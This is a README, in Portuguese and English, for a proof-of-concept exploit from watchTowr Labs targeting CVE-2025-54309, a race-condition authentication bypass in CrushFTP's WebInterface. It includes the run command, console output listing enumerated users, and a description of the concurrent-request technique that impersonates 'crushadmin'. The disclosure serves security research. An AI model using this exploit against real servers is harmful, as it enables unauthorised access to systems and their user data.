
Exploit de prova de conceito para CVE-2025-54309, demonstrando um bypass de autenticação por condição de corrida no CrushFTP WebInterface para enumerar usuários.
Um Proof of Concept de Bypass de Autenticação CrushFTP
Veja nosso blog post para detalhes técnicos
python3 watchTowr-vs-CrushFTP-CVE-2025-54309.py http://127.0.0.1:8082
[*] Generated new c2f value: 6XDQ
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-CrushFTP-CVE-2025-54309.py
(*) CrushFTP Authentication Bypass Race Condition PoC
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-54309]
[*] CRUSHFTP RACE CONDITION POC
[*] TARGET: http://127.0.0.1:8082
[*] ENDPOINT: CrushFTP WebInterface getUserList
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: qUwd
[*] NEW SESSION: c2f=qUwd
[*] EXFILTRATED 3 USERS: crushadmin, default, TempAccount
[*] VULNERABLE! RACE CONDITION POSSIBLE!
Este script é uma prova de conceito para CVE-2025-54309 contra interfaces CrushFTP. Ao criar um conjunto de requisições concorrentes compartilhando os mesmos identificadores de sessão, uma requisição para definir a propriedade de nome de usuário como "crushadmin" e uma requisição para executar um comando autenticado como este usuário, é possível neste PoC extrair a lista de nomes de usuários. Mais detalhes são descritos em nosso [blog post] (https://labs.watchtowr.com/).
Mais detalhes em CrushFTP Advisory
Para as pesquisas de segurança mais recentes, siga a equipe dos watchTowr Labs